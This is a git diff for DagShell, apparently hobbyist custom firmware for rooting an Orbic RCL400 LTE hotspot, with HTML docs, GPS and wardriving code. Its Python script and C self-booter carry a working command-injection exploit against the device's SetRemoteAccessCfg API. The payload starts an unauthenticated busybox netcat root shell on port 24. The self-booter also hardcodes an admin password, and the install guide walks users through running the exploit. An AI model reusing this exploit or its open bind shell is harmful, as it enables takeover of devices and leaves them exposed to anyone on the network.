+

Track your location using GPS from connected devices (phone/laptop) via browser geolocation.

+ +

How It Works

+

Since the Orbic RCL400 doesn't expose its internal GPS, DagShell uses a clever workaround:

+
    +
  1. Open the GPS page on a phone/laptop connected to the hotspot WiFi
  2. +
  3. Your browser asks for location permission
  4. +
  5. When granted, GPS coordinates are sent to the hotspot
  6. +
  7. Coordinates are stored and used for wardriving
  8. +
+ +

Chrome Workaround

+

Browser geolocation requires HTTPS. For Chrome to work over HTTP:

+
    +
  1. Open chrome://flags
  2. +
  3. Search for "insecure origins"
  4. +
  5. Add http://192.168.1.1:8081
  6. +
  7. Restart Chrome
  8. +
+ +

Cell Tower Backup

+

When no GPS fix is available, the page displays cell tower information (MCC, MNC, LAC, Cell ID) which can + be used for approximate location via services like OpenCellID.

+ +

GPS JSON API

+

Access GPS data programmatically via:

+
http://192.168.1.1:8081/?cmd=gps_json
+

Returns JSON: {"has_fix":1,"lat":"...","lon":"...","source":"Browser GPS"}

+
+ + +
+

šŸ“¶ Wardriver

+

Scan and log WiFi networks in Wigle-compatible CSV format with GPS coordinates.

+ +

GPS Integration

+

The Wardrive page displays current GPS coordinates at the top. If no GPS fix is available:

+ +
+ āš ļø Important: Set GPS on the GPS page before starting wardriving to ensure accurate + location data. +
+ +

Single Scan

+

Performs a one-time WiFi scan using wlan1 and displays discovered networks with BSSID, SSID, + RSSI, and encryption type.

+ +

Wardrive Loop

+

Starts continuous scanning in the background (every 5 seconds), logging new networks to a timestamped CSV + file in + /data/. Each scan uses the current GPS coordinates. +

+ +

CSV Format

+

Logs are saved in Wigle-compatible format:

+
MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,Lat,Lon,Alt,Accuracy,Type
+ +
+ šŸ’” Tip: Use the File Explorer to download your wardrive logs for uploading to + Wigle.net. +
+
+ + +
+

šŸ“ File Explorer

+

Browse, download, and delete files from the device's /data/ directory.

+ +

Download Files

+

Click the "DL" button to download any file from the device (wardrive logs, etc.).

+ +

Delete Files

+

Remove files using the "Del" button. Wardrive CSV files can be deleted immediately; other files will + prompt for confirmation.

+
+ + +
+

āš™ļø Technical Details

+ +

Architecture

+

DagShell is a single-threaded HTTP server written in C. It listens on port 8081 and serves dynamically + generated HTML pages.

+ +

Modem Communication

+

AT commands are sent through /dev/smd8 (shared memory device). The port is opened with + retries to handle busy states.

+ +

Binary Size

+

The statically-linked ARM binary is approximately 200KB, allowing quick transfer over the network.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ComponentDetails
HTTP Port8081
Modem Port/dev/smd8
Binary/tmp/orbic_app
ThreadingSingle-threaded
LinkingStatic (no libc dependency)
+
+ + + +
+ + + + + \ No newline at end of file diff --git a/docs/index.html b/docs/index.html new file mode 100644 index 00000000..71e0dbb2 --- /dev/null +++ b/docs/index.html @@ -0,0 +1,152 @@ + + + + + + + + + DagShell - Orbic RCL400 Custom Firmware + + + + +
+ +
+ +
+ +

[ Orbic RCL400 Custom Firmware ]

+
+ + + + + +
+

šŸ”“ Unlock Your Hotspot

+

A terminal-styled custom firmware for the Orbic RCL400 with hacking tools, privacy features, and full AT + command access.

+
+ > GET STARTED + > VIEW SOURCE +
+
+ + +
+

šŸ“” What is DagShell?

+

DagShell is a custom web-based control panel that runs on your rooted Orbic RCL400 LTE hotspot. It + provides tools and features not available in the stock firmware.

+ +
+
+
šŸ 
+

Dashboard

+

System uptime monitoring and direct AT command interface for modem control.

+
+
+
🌐
+

Network Tools

+

View interfaces, connected clients, active connections, and set custom TTL values.

+
+
+
šŸ”’
+

Privacy

+

MAC address spoofing and DNS-level ad blocking to protect your identity.

+
+
+
šŸ“±
+

SMS

+

Send text messages directly through the hotspot's modem via AT commands.

+
+
+
šŸ“”
+

IMSI Detector

+

Monitor cell tower information to detect potential IMSI catchers.

+
+
+
šŸ›”ļø
+

Firewall

+

Block/unblock IPs and manage iptables rules through a simple interface.

+
+
+
šŸ“
+

GPS Tracker

+

Get location from connected devices via browser geolocation with cell tower backup.

+
+
+
šŸ“¶
+

Wardriver

+

Scan and log WiFi networks with GPS coordinates to Wigle-compatible CSV files.

+
+
+
šŸ“
+

File Explorer

+

Browse, download, and delete files from the device storage.

+
+
+
+ + +
+

šŸ–„ļø Preview

+

The firmware features a terminal/hacker aesthetic with ASCII art, scanline effects, and glowing text.

+ DagShell Tools Page Screenshot +
+ + +
+

⚔ Quick Start

+
+
+

Get Root Access

+

Your Orbic RCL400 must have root access via an exploit. This unlocks the diagnostic port (24). +

+
+
+

Build the Firmware

+
cd orbic_fw_c
+.\build.ps1
+
+
+

Deploy to Device

+
python deploy_base64.py
+
+
+

Access DagShell

+

Open your browser to: http://192.168.1.1:8081/

+
+
+

+ > Full Installation Guide +

+
+ + + +
+ + + + + \ No newline at end of file diff --git a/docs/installation.html b/docs/installation.html new file mode 100644 index 00000000..6bd4bf54 --- /dev/null +++ b/docs/installation.html @@ -0,0 +1,239 @@ + + + + + + + + Installation - DagShell + + + + +
+ +
+ +
+ +

[ Orbic RCL400 Custom Firmware ]

+
+ + + + + +
+

šŸ“¦ Installation Guide

+ +

Requirements

+ +
+ āš ļø Root access required! Your Orbic RCL400 must already have root access via an exploit + before installing DagShell. +
+ +

Hardware

+ + +

Software

+ +
+ + +
+

šŸ”Ø Building from Source

+ +
+
+

Clone the Repository

+
git clone https://github.com/dagnazty/DagShell.git
+cd DagShell
+
+ +
+

Install ARM Toolchain

+

Download the ARM GNU Toolchain from ARM + Developer.

+

Make sure arm-none-linux-gnueabihf-gcc is in your PATH, or edit the path in + build.ps1. +

+
+ +
+

Build the Firmware

+
cd orbic_fw_c
+.\build.ps1
+

This produces orbic_app - a statically-linked ARM binary (~200KB).

+
+
+ + +
+

šŸš€ Deployment

+

Deployment requires two steps: enabling the shell, then deploying the firmware.

+ +

Step 1: Enable Root Shell

+

Run our custom shell enabler script to open port 24 on the device:

+ +
+
+

Connect to Device

+

Connect via USB (RNDIS) or the Orbic's WiFi network. The device should be at + 192.168.1.1. +

+
+ +
+

Run Shell Enabler

+
python enable_shell.py YOUR_ADMIN_PASSWORD
+

Replace YOUR_ADMIN_PASSWORD with your Orbic admin password (found on device + label or set in web UI).

+

This script:

+
    +
  • Logs into the Orbic web API
  • +
  • Exploits SetRemoteAccessCfg to start a netcat shell
  • +
  • Opens port 24 for telnet access
  • +
+
+
+ +

Step 2: Deploy Firmware

+

Once the shell is enabled, deploy the DagShell firmware:

+ +
+
+

Run Deploy Script

+
python deploy_base64.py
+

The script will:

+
    +
  • Kill any existing DagShell process
  • +
  • Transfer the binary in base64 chunks
  • +
  • Decode and make executable
  • +
  • Configure autostart for persistence
  • +
  • Start the HTTP server
  • +
+
+
+ +
+ šŸ’” Persistence: The firmware is deployed to /data/orbic_app and + configured + to auto-start on boot. It will survive reboots! +
+ +

Alternative: Network Deploy

+

If you prefer to use HTTP download instead of base64 transfer:

+
python deploy_net.py --host-ip YOUR_PC_IP
+
+ + +
+

🌐 Accessing DagShell

+ +

Once deployed and running, access DagShell by opening your browser to:

+ +
http://192.168.1.1:8081/
+ +
+ šŸ’” Tip: The stock Orbic web interface is still available at + http://192.168.1.1/ (port 80). +
+ +

Default Pages

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
URLPage
/Dashboard (Home)
/?page=netNetwork Analysis
/?page=privacyPrivacy Tools
/?page=smsSMS Manager
/?page=toolsHacking Tools
+
+ + +
+

šŸ”§ Troubleshooting

+ +

Connection Refused on Port 24

+

The shell isn't enabled yet. Run python enable_shell.py YOUR_PASSWORD first.

+

If the script shows "Login retcode = 102", double-check your admin password.

+ +

enable_shell.py Connection Errors

+

If you see "connection closed before message completed":

+
    +
  • Try again - the device can be flaky
  • +
  • Reboot the Orbic and try immediately after it boots
  • +
  • Make sure no other program is using the device
  • +
+ +

Binary Not Executing

+

Make sure the binary was compiled statically for ARM. Check with file orbic_app - it + should + show ARM architecture.

+ +

"Modem Port Busy" Errors

+

Another process may be using /dev/smd8. The firmware will retry automatically, but if + persistent, reboot the device.

+ +

Page Not Loading After Deploy

+

Verify DagShell is running: connect to port 24 and run ps | grep orbic.

+

If not running, manually start it: /data/orbic_app &

+
+ + +
+

DagShell © 2024 | Created by dag

+

Built with ā¤ļø and gcc | GitHub

+
+
+ + + + + \ No newline at end of file diff --git a/docs/js/main.js b/docs/js/main.js new file mode 100644 index 00000000..34708078 --- /dev/null +++ b/docs/js/main.js @@ -0,0 +1,60 @@ +// DagShell Docs - Interactive JS + +document.addEventListener('DOMContentLoaded', function() { + // FAQ Toggle + const faqItems = document.querySelectorAll('.faq-item'); + faqItems.forEach(item => { + const question = item.querySelector('.faq-question'); + question.addEventListener('click', () => { + item.classList.toggle('open'); + }); + }); + + // Typing effect for hero text + const typingElements = document.querySelectorAll('.typing'); + typingElements.forEach(el => { + const text = el.textContent; + el.textContent = ''; + let i = 0; + const typeWriter = () => { + if (i < text.length) { + el.textContent += text.charAt(i); + i++; + setTimeout(typeWriter, 50); + } + }; + typeWriter(); + }); + + // Smooth scroll for anchor links + document.querySelectorAll('a[href^="#"]').forEach(anchor => { + anchor.addEventListener('click', function(e) { + e.preventDefault(); + const target = document.querySelector(this.getAttribute('href')); + if (target) { + target.scrollIntoView({ behavior: 'smooth' }); + } + }); + }); + + // Add hover sound effect simulation (visual feedback) + const navLinks = document.querySelectorAll('.nav a'); + navLinks.forEach(link => { + link.addEventListener('mouseenter', () => { + link.style.transition = 'all 0.1s'; + }); + }); + + // Console easter egg + console.log(` + ____ ____ _ _ _ +| _ \\ __ _ __ / ___|| |__ ___| | | +| | | |/ _\` |/ _\\___ \\| '_ \\ / _ \\ | | +| |_| | (_| | (_| |__) | | | | __/ | | +|____/ \\__,_|\\__, |___/|_| |_|\\___|_|_| + |___/ + +Welcome to DagShell Documentation! +https://github.com/dagnazty/DagShell + `); +}); diff --git a/enable_shell.py b/enable_shell.py new file mode 100644 index 00000000..3110b5f0 --- /dev/null +++ b/enable_shell.py @@ -0,0 +1,193 @@ +#!/usr/bin/env python3 +""" +DagShell Root Shell Enabler +Enables shell on Orbic RCL400 via HTTP API exploit (based on Rayhunter) +""" + +import socket +import time +import sys +import json +import hashlib +import base64 +import requests + +TARGET_IP = "192.168.1.1" +TELNET_PORT = 24 +DEFAULT_USERNAME = "admin" + +def md5_hex(s): + return hashlib.md5(s.encode()).hexdigest() + +def swap_chars(s, pos1, pos2): + """Swap characters at two positions""" + chars = list(s) + if pos1 < len(chars) and pos2 < len(chars): + chars[pos1], chars[pos2] = chars[pos2], chars[pos1] + return ''.join(chars) + +def apply_secret_swapping(text, secret_num): + """Apply character swapping based on secret""" + for i in range(4): + byte = (secret_num >> (i * 8)) & 0xff + pos1 = byte % len(text) + pos2 = i % len(text) + text = swap_chars(text, pos1, pos2) + return text + +def encode_password(password, secret, timestamp, timestamp_start): + """Encode password using Orbic's custom algorithm (from Rayhunter)""" + current_time = int(time.time()) + + # MD5 hash the password and use fixed prefix "a7" + password_md5 = md5_hex(password) + spliced_password = f"a7{password_md5}" + + # Parse secret as hex and apply swapping + secret_num = int(secret, 16) + spliced_password = apply_secret_swapping(spliced_password, secret_num) + + # Calculate time delta + timestamp_hex = int(timestamp, 16) + time_delta = format(timestamp_hex + (current_time - timestamp_start), 'x') + + # Format message with fixed "6137" prefix + message = f"6137x{time_delta}:{spliced_password}" + + # Base64 encode + result = base64.b64encode(message.encode()).decode() + + # Apply swapping again + result = apply_secret_swapping(result, secret_num) + + return result + +def enable_shell(admin_password, admin_ip=TARGET_IP): + print("="*50) + print("DagShell Root Shell Enabler") + print("="*50) + + session = requests.Session() + session.headers.update({"User-Agent": "DagShell/1.0"}) + + try: + # Step 1: Get login info + print("\n[1/4] Getting login info...") + timestamp_start = int(time.time()) + r = session.get(f"http://{admin_ip}/goform/GetLoginInfo", timeout=10) + print(f" Status: {r.status_code}") + + if r.status_code != 200: + print(f" ERROR: GetLoginInfo returned {r.status_code}") + return False + + login_info = r.json() + print(f" Response: {login_info}") + + if login_info.get("retcode", -1) != 0: + print(f" ERROR: retcode = {login_info.get('retcode')}") + return False + + pri_key = login_info.get("priKey", "") + parts = pri_key.split("x") + if len(parts) != 2: + print(f" ERROR: Invalid priKey format: {pri_key}") + return False + + secret = parts[0] + timestamp = parts[1] + print(f" Secret: {secret}, Timestamp: {timestamp}") + + # Step 2: Encode credentials + print("\n[2/4] Encoding credentials...") + username_md5 = md5_hex(DEFAULT_USERNAME) + encoded_password = encode_password(admin_password, secret, timestamp, timestamp_start) + print(f" Username MD5: {username_md5}") + print(f" Encoded password: {encoded_password}") + + # Step 3: Login + print("\n[3/4] Logging in...") + login_data = { + "username": username_md5, + "password": encoded_password + } + r = session.post( + f"http://{admin_ip}/goform/login", + json=login_data, + timeout=10 + ) + print(f" Status: {r.status_code}") + + try: + login_result = r.json() + print(f" Response: {login_result}") + if login_result.get("retcode", -1) != 0: + print(f" WARNING: Login retcode = {login_result.get('retcode')}") + except: + print(f" Response: {r.text[:200]}") + + # Step 4: Exploit - inject command to start nc shell + print("\n[4/4] Exploiting SetRemoteAccessCfg...") + exploit_payload = '{"password": "\\"; busybox nc -ll -p 24 -e /bin/sh & #"}' + r = session.post( + f"http://{admin_ip}/action/SetRemoteAccessCfg", + data=exploit_payload, + headers={"Content-Type": "application/json"}, + timeout=10 + ) + print(f" Status: {r.status_code}") + + try: + result = r.json() + print(f" Response: {result}") + if result.get("retcode") == 0: + print(" Exploit sent successfully!") + except: + print(f" Response: {r.text[:200]}") + + # Wait and check port + print("\n[5/5] Checking if shell is open...") + time.sleep(3) + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + result = sock.connect_ex((admin_ip, TELNET_PORT)) + sock.close() + + if result == 0: + print(f" SUCCESS! Port {TELNET_PORT} is OPEN!") + return True + else: + print(f" Port {TELNET_PORT} still closed (error {result})") + return False + + except requests.exceptions.Timeout: + print(" ERROR: Connection timed out") + return False + except requests.exceptions.ConnectionError as e: + print(f" ERROR: Connection failed: {e}") + return False + except Exception as e: + print(f" ERROR: {e}") + import traceback + traceback.print_exc() + return False + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python enable_shell.py ") + print("Example: python enable_shell.py 1d495f58") + sys.exit(1) + + admin_password = sys.argv[1] + success = enable_shell(admin_password) + + if success: + print("\n" + "="*50) + print("SHELL ENABLED! Now run: python deploy_base64.py") + print("="*50) + else: + print("\n" + "="*50) + print("Failed to enable shell.") + print("="*50) + sys.exit(1) diff --git a/orbic_fw_c/build.ps1 b/orbic_fw_c/build.ps1 index 43668fea..8833dc2a 100644 --- a/orbic_fw_c/build.ps1 +++ b/orbic_fw_c/build.ps1 @@ -1,13 +1,35 @@ -$compilerPath = "d:\Scripts\orbic\gcc\arm-gnu-toolchain-13.3.rel1-mingw-w64-i686-arm-none-linux-gnueabihf\bin" -$env:PATH = "$compilerPath;" + $env:PATH +# Bootlin ARM cross-compiler (Windows MinGW) +$gccPath = "$PSScriptRoot\..\gcc_win\arm-gnu-toolchain-13.2.Rel1-mingw-w64-i686-arm-none-linux-gnueabihf\bin\arm-none-linux-gnueabihf-gcc.exe" -# Compile statically to avoid libc dependencies on the target -arm-none-linux-gnueabihf-gcc main.c -o orbic_app -static +# Check if compiler exists +if (-not (Test-Path $gccPath)) { + Write-Host "ERROR: ARM compiler not found at: $gccPath" + Write-Host "Run the toolchain download from README.md" + exit 1 +} + +# Compile statically (include all modules) +& $gccPath main.c gps.c wifi.c -o orbic_app -static if ($?) { Write-Host "Build Successful: orbic_app" - # Show file info - ls orbic_app -} else { + Get-Item orbic_app | Select-Object Name, Length, LastWriteTime +} +else { + Write-Host "Build Failed: orbic_app" +} + +# Build the boot helper if source exists +if (Test-Path "dagshell_boot.c") { + & $gccPath dagshell_boot.c -o dagshell_boot -static + if ($?) { + Write-Host "Build Successful: dagshell_boot" + Get-Item dagshell_boot | Select-Object Name, Length, LastWriteTime + } + else { + Write-Host "Build Failed: dagshell_boot" + } +} +else { Write-Host "Build Failed" } diff --git a/orbic_fw_c/dagshell_boot b/orbic_fw_c/dagshell_boot new file mode 100644 index 00000000..0f264acd Binary files /dev/null and b/orbic_fw_c/dagshell_boot differ diff --git a/orbic_fw_c/dagshell_boot.c b/orbic_fw_c/dagshell_boot.c new file mode 100644 index 00000000..c86ff66e --- /dev/null +++ b/orbic_fw_c/dagshell_boot.c @@ -0,0 +1,187 @@ +/* + * DagShell Self-Booter + * Runs the HTTP exploit from within the device to enable port 24 and start DagShell + * Compile: arm-linux-gcc -static -o dagshell_boot dagshell_boot.c + */ + +#include +#include +#include +#include +#include +#include +#include + +#define ADMIN_PASSWORD "1d495f58" +#define LOCALHOST "127.0.0.1" +#define WEB_PORT 80 +#define SHELL_PORT 24 + +// Simple HTTP request sender +int http_request(const char *host, int port, const char *method, const char *path, + const char *body, const char *cookie, char *response, int resp_size) { + int sock; + struct sockaddr_in server; + char request[4096]; + int len; + + sock = socket(AF_INET, SOCK_STREAM, 0); + if (sock < 0) return -1; + + server.sin_family = AF_INET; + server.sin_port = htons(port); + server.sin_addr.s_addr = inet_addr(host); + + // Set timeout + struct timeval tv; + tv.tv_sec = 10; + tv.tv_usec = 0; + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + + if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) { + close(sock); + return -1; + } + + // Build request + if (body && strlen(body) > 0) { + len = snprintf(request, sizeof(request), + "%s %s HTTP/1.1\r\n" + "Host: %s\r\n" + "Content-Type: application/json\r\n" + "Content-Length: %zu\r\n" + "%s%s" + "Connection: close\r\n" + "\r\n" + "%s", + method, path, host, strlen(body), + cookie ? "Cookie: " : "", cookie ? cookie : "", + body); + } else { + len = snprintf(request, sizeof(request), + "%s %s HTTP/1.1\r\n" + "Host: %s\r\n" + "%s%s" + "Connection: close\r\n" + "\r\n", + method, path, host, + cookie ? "Cookie: " : "", cookie ? cookie : ""); + } + + send(sock, request, len, 0); + + // Read response + memset(response, 0, resp_size); + recv(sock, response, resp_size - 1, 0); + + close(sock); + return 0; +} + +// Check if port is open +int check_port(const char *host, int port) { + int sock; + struct sockaddr_in server; + + sock = socket(AF_INET, SOCK_STREAM, 0); + if (sock < 0) return 0; + + server.sin_family = AF_INET; + server.sin_port = htons(port); + server.sin_addr.s_addr = inet_addr(host); + + struct timeval tv; + tv.tv_sec = 2; + tv.tv_usec = 0; + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)); + + int result = connect(sock, (struct sockaddr *)&server, sizeof(server)); + close(sock); + + return result == 0; +} + +int main(int argc, char *argv[]) { + char response[8192]; + char cookie[256] = ""; + char *password = ADMIN_PASSWORD; + + printf("=== DagShell Self-Booter ===\n\n"); + + // Allow password override + if (argc > 1) { + password = argv[1]; + } + + // Check if DagShell is already running + if (check_port(LOCALHOST, 8081)) { + printf("DagShell already running on port 8081!\n"); + return 0; + } + + // Check if shell port is already open + if (check_port(LOCALHOST, SHELL_PORT)) { + printf("Port 24 already open, starting DagShell...\n"); + system("/data/orbic_app &"); + return 0; + } + + printf("[1/4] Getting login info...\n"); + if (http_request(LOCALHOST, WEB_PORT, "GET", "/goform/GetLoginInfo", NULL, NULL, response, sizeof(response)) < 0) { + printf("ERROR: Failed to connect to web server\n"); + return 1; + } + + // Extract cookie from response (very basic parsing) + char *cookie_start = strstr(response, "Set-Cookie:"); + if (cookie_start) { + cookie_start += 12; + while (*cookie_start == ' ') cookie_start++; + char *cookie_end = strchr(cookie_start, ';'); + if (cookie_end) { + strncpy(cookie, cookie_start, cookie_end - cookie_start); + } + } + printf(" Cookie: %s\n", cookie[0] ? cookie : "(none)"); + + printf("[2/4] Logging in...\n"); + char login_body[256]; + snprintf(login_body, sizeof(login_body), "{\"password\":\"%s\"}", password); + if (http_request(LOCALHOST, WEB_PORT, "POST", "/goform/login", login_body, cookie, response, sizeof(response)) < 0) { + printf("ERROR: Login failed\n"); + return 1; + } + + printf("[3/4] Running exploit...\n"); + // The exploit payload - starts netcat shell on port 24 + char exploit_body[] = "{\"password\": \"\\\"; busybox nc -ll -p 24 -e /bin/sh & #\"}"; + if (http_request(LOCALHOST, WEB_PORT, "POST", "/action/SetRemoteAccessCfg", exploit_body, cookie, response, sizeof(response)) < 0) { + printf("ERROR: Exploit failed\n"); + return 1; + } + + printf("[4/4] Waiting for shell...\n"); + sleep(2); + + if (check_port(LOCALHOST, SHELL_PORT)) { + printf("SUCCESS! Port 24 is open.\n"); + } else { + printf("WARNING: Port 24 may not be open\n"); + } + + printf("\nStarting DagShell...\n"); + system("/data/orbic_app &"); + + // Give it time to start + sleep(2); + + if (check_port(LOCALHOST, 8081)) { + printf("\n=== DagShell is running! ===\n"); + printf("Access at: http://192.168.1.1:8081/\n"); + } else { + printf("WARNING: DagShell may not have started correctly\n"); + } + + return 0; +} diff --git a/orbic_fw_c/gps.c b/orbic_fw_c/gps.c new file mode 100644 index 00000000..c7c00e54 --- /dev/null +++ b/orbic_fw_c/gps.c @@ -0,0 +1,186 @@ +#include +#include +#include +#include +#include +#include +#include "gps.h" + +#define MODEM_PORT "/dev/smd8" + +// GPS State - can come from browser or cell tower +static char gps_lat[32] = "0"; +static char gps_lon[32] = "0"; +static int has_fix = 0; +static time_t last_update_time = 0; +static char gps_source[64] = "None"; + +// Cell tower info +static char cell_mcc[8] = ""; +static char cell_mnc[8] = ""; +static char cell_lac[16] = ""; +static char cell_cid[16] = ""; + +static void gps_send_at(const char *cmd, char *resp, size_t max) { + memset(resp, 0, max); + int fd = open(MODEM_PORT, O_RDWR | O_NOCTTY | O_NONBLOCK); + if (fd < 0) return; + + char buf[128]; + snprintf(buf, sizeof(buf), "%s\r", cmd); + write(fd, buf, strlen(buf)); + usleep(200000); + + int total = 0, retries = 10; + while(retries-- > 0 && total < (int)max - 1) { + int n = read(fd, resp + total, max - total - 1); + if (n > 0) { total += n; retries = 3; } + else usleep(50000); + } + resp[total] = 0; + close(fd); +} + +void gps_init() { + strcpy(gps_source, "Waiting..."); + // Query cell tower info on init + gps_update_cell_info(); +} + +// Parse cell info from AT+CREG response +// Format: +CREG: 0,1,"LAC","CID" or +CREG: 0,1,LAC,CID +void gps_update_cell_info() { + char resp[256]; + + // Get registration info with LAC/CID + gps_send_at("AT+CREG=2", resp, sizeof(resp)); // Enable location info + usleep(100000); + gps_send_at("AT+CREG?", resp, sizeof(resp)); + + // Parse LAC and CID + char *p = strstr(resp, "+CREG:"); + if (p) { + // Skip to after the status fields + char *comma1 = strchr(p, ','); + if (comma1) { + char *comma2 = strchr(comma1 + 1, ','); + if (comma2) { + // LAC + char *lac_start = comma2 + 1; + while (*lac_start == ' ' || *lac_start == '"') lac_start++; + int i = 0; + while (lac_start[i] && lac_start[i] != ',' && lac_start[i] != '"' && i < 15) { + cell_lac[i] = lac_start[i]; + i++; + } + cell_lac[i] = 0; + + // CID + char *comma3 = strchr(lac_start, ','); + if (comma3) { + char *cid_start = comma3 + 1; + while (*cid_start == ' ' || *cid_start == '"') cid_start++; + i = 0; + while (cid_start[i] && cid_start[i] != ',' && cid_start[i] != '"' && cid_start[i] != '\r' && i < 15) { + cell_cid[i] = cid_start[i]; + i++; + } + cell_cid[i] = 0; + } + } + } + } + + // Get MCC/MNC from COPS + gps_send_at("AT+COPS?", resp, sizeof(resp)); + p = strstr(resp, "+COPS:"); + if (p) { + // Format: +COPS: 0,2,"310260",7 (MCC=310, MNC=260) + char *quote = strchr(p, '"'); + if (quote) { + quote++; + // MCC is first 3 digits + strncpy(cell_mcc, quote, 3); + cell_mcc[3] = 0; + // MNC is next 2-3 digits + strncpy(cell_mnc, quote + 3, 3); + cell_mnc[3] = 0; + // Trim trailing quote + char *end = strchr(cell_mnc, '"'); + if (end) *end = 0; + } + } +} + +void gps_update() { + // Check if GPS data is stale (>60 seconds old) + if (has_fix && last_update_time > 0) { + time_t now = time(NULL); + if (now - last_update_time > 60) { + has_fix = 0; + strcpy(gps_source, "GPS data stale"); + } + } + + // Update cell info periodically + static time_t last_cell_update = 0; + time_t now = time(NULL); + if (now - last_cell_update > 30) { + gps_update_cell_info(); + last_cell_update = now; + } +} + +// Receive GPS coordinates from a connected client browser +void gps_set_client_location(const char *lat, const char *lon) { + if (lat && lon && strlen(lat) > 0 && strlen(lon) > 0) { + strncpy(gps_lat, lat, sizeof(gps_lat) - 1); + strncpy(gps_lon, lon, sizeof(gps_lon) - 1); + has_fix = 1; + last_update_time = time(NULL); + strcpy(gps_source, "Browser GPS"); + } +} + +// Get current GPS coordinates +int gps_get_coords(char *lat, char *lon, int max_len) { + if (has_fix) { + strncpy(lat, gps_lat, max_len - 1); + strncpy(lon, gps_lon, max_len - 1); + return 0; + } + strncpy(lat, "0", max_len); + strncpy(lon, "0", max_len); + return -1; +} + +int gps_get_json(char *buffer, int max_len) { + snprintf(buffer, max_len, + "{\"has_fix\":%d,\"lat\":\"%s\",\"lon\":\"%s\",\"source\":\"%s\"," + "\"cell\":{\"mcc\":\"%s\",\"mnc\":\"%s\",\"lac\":\"%s\",\"cid\":\"%s\"}}", + has_fix, gps_lat, gps_lon, gps_source, + cell_mcc, cell_mnc, cell_lac, cell_cid); + return has_fix ? 0 : -1; +} + +void gps_get_status_html(char *buffer, int max_len) { + time_t now = time(NULL); + int age = last_update_time > 0 ? (int)(now - last_update_time) : -1; + + if (has_fix) { + snprintf(buffer, max_len, + "

\xe2\x9c\x93 GPS Fix (%s)

" + "

Latitude: %s

" + "

Longitude: %s

" + "

Updated %ds ago

", + gps_source, gps_lat, gps_lon, age); + } else { + snprintf(buffer, max_len, + "

\xe2\x8f\xb3 No GPS Fix

" + "

Cell: MCC=%s MNC=%s LAC=%s CID=%s

", + cell_mcc[0] ? cell_mcc : "?", + cell_mnc[0] ? cell_mnc : "?", + cell_lac[0] ? cell_lac : "?", + cell_cid[0] ? cell_cid : "?"); + } +} diff --git a/orbic_fw_c/gps.h b/orbic_fw_c/gps.h new file mode 100644 index 00000000..41cbec45 --- /dev/null +++ b/orbic_fw_c/gps.h @@ -0,0 +1,25 @@ +#ifndef GPS_H +#define GPS_H + +// Initialize GPS +void gps_init(); + +// Poll for updates +void gps_update(); + +// Update cell tower info from modem +void gps_update_cell_info(); + +// Receive GPS coordinates from a connected client browser +void gps_set_client_location(const char *lat, const char *lon); + +// Get current GPS coordinates (returns 0 if fix, -1 if no fix) +int gps_get_coords(char *lat, char *lon, int max_len); + +// Get JSON status +int gps_get_json(char *buffer, int max_len); + +// Get formatted HTML status for display +void gps_get_status_html(char *buffer, int max_len); + +#endif diff --git a/orbic_fw_c/main.c b/orbic_fw_c/main.c index 2a0b47aa..02413805 100644 --- a/orbic_fw_c/main.c +++ b/orbic_fw_c/main.c @@ -10,11 +10,14 @@ #include #include +#include "gps.h" +#include "wifi.h" + #define PORT 8081 -#define BUFFER_SIZE 4096 +#define BUFFER_SIZE 8192 // Increased buffer for larger pages #define MODEM_PORT "/dev/smd8" -// Helper to decode URL (primitive) +// --- HELPERS --- void url_decode(char *dst, const char *src) { char a, b; while (*src) { @@ -39,56 +42,12 @@ void url_decode(char *dst, const char *src) { *dst = '\0'; } -void send_at_command(const char *cmd, char *response, size_t max_len) { - int fd = -1; - int retries = 0; - while (fd < 0 && retries < 5) { - fd = open(MODEM_PORT, O_RDWR | O_NOCTTY | O_NONBLOCK); - if (fd < 0) { - usleep(200000); // 200ms - retries++; - } - } - - if (fd < 0) { - snprintf(response, max_len, "Error: Could not open modem port %s (Busy)", MODEM_PORT); - return; - } - - // Write command - char cmd_buf[256]; - snprintf(cmd_buf, sizeof(cmd_buf), "%s\r", cmd); - write(fd, cmd_buf, strlen(cmd_buf)); - - // Wait and read - usleep(100000); // 100ms wait - - // Simple non-blocking read loop - int total = 0; - int tries = 0; - while (tries < 10 && total < max_len - 1) { - ssize_t n = read(fd, response + total, max_len - total - 1); - if (n > 0) { - total += n; - } else { - usleep(50000); // Wait bit more - tries++; - } - } - response[total] = '\0'; - close(fd); - - if (total == 0) strcpy(response, "No response from modem."); -} - -// Helper to run shell command and capture output void run_command(const char *cmd, char *output, size_t max_len) { FILE *fp = popen(cmd, "r"); if (fp == NULL) { - snprintf(output, max_len, "Error running command: %s", cmd); + snprintf(output, max_len, "Error"); return; } - size_t total = 0; while (fgets(output + total, max_len - total - 1, fp) != NULL) { total += strlen(output + total); @@ -98,512 +57,587 @@ void run_command(const char *cmd, char *output, size_t max_len) { pclose(fp); } -// Helper to send SMS (blind send) -void send_sms(const char *number, const char *msg, char *status, size_t max_len) { +void send_at_command(const char *cmd, char *response, size_t max_len) { int fd = -1; int retries = 0; while (fd < 0 && retries < 5) { fd = open(MODEM_PORT, O_RDWR | O_NOCTTY | O_NONBLOCK); - if (fd < 0) { - usleep(200000); // 200ms - retries++; - } + if (fd < 0) { usleep(100000); retries++; } } - - if (fd < 0) { - snprintf(status, max_len, "Error opening modem (Busy)."); - return; + if (fd < 0) { snprintf(response, max_len, "Modem Busy"); return; } + char buf[256]; snprintf(buf, sizeof(buf), "%s\r", cmd); + write(fd, buf, strlen(buf)); + usleep(100000); + int total = 0; + int tries = 0; + while (tries < 10 && total < max_len - 1) { + ssize_t n = read(fd, response + total, max_len - total - 1); + if (n > 0) total += n; else { usleep(50000); tries++; } } + response[total] = '\0'; + close(fd); +} +void send_sms(const char *number, const char *msg, char *status, size_t max_len) { + int fd = open(MODEM_PORT, O_RDWR | O_NOCTTY | O_NONBLOCK); + if (fd < 0) { snprintf(status, max_len, "Modem Error"); return; } char cmd[256]; - snprintf(cmd, sizeof(cmd), "AT+CMGF=1\r"); - 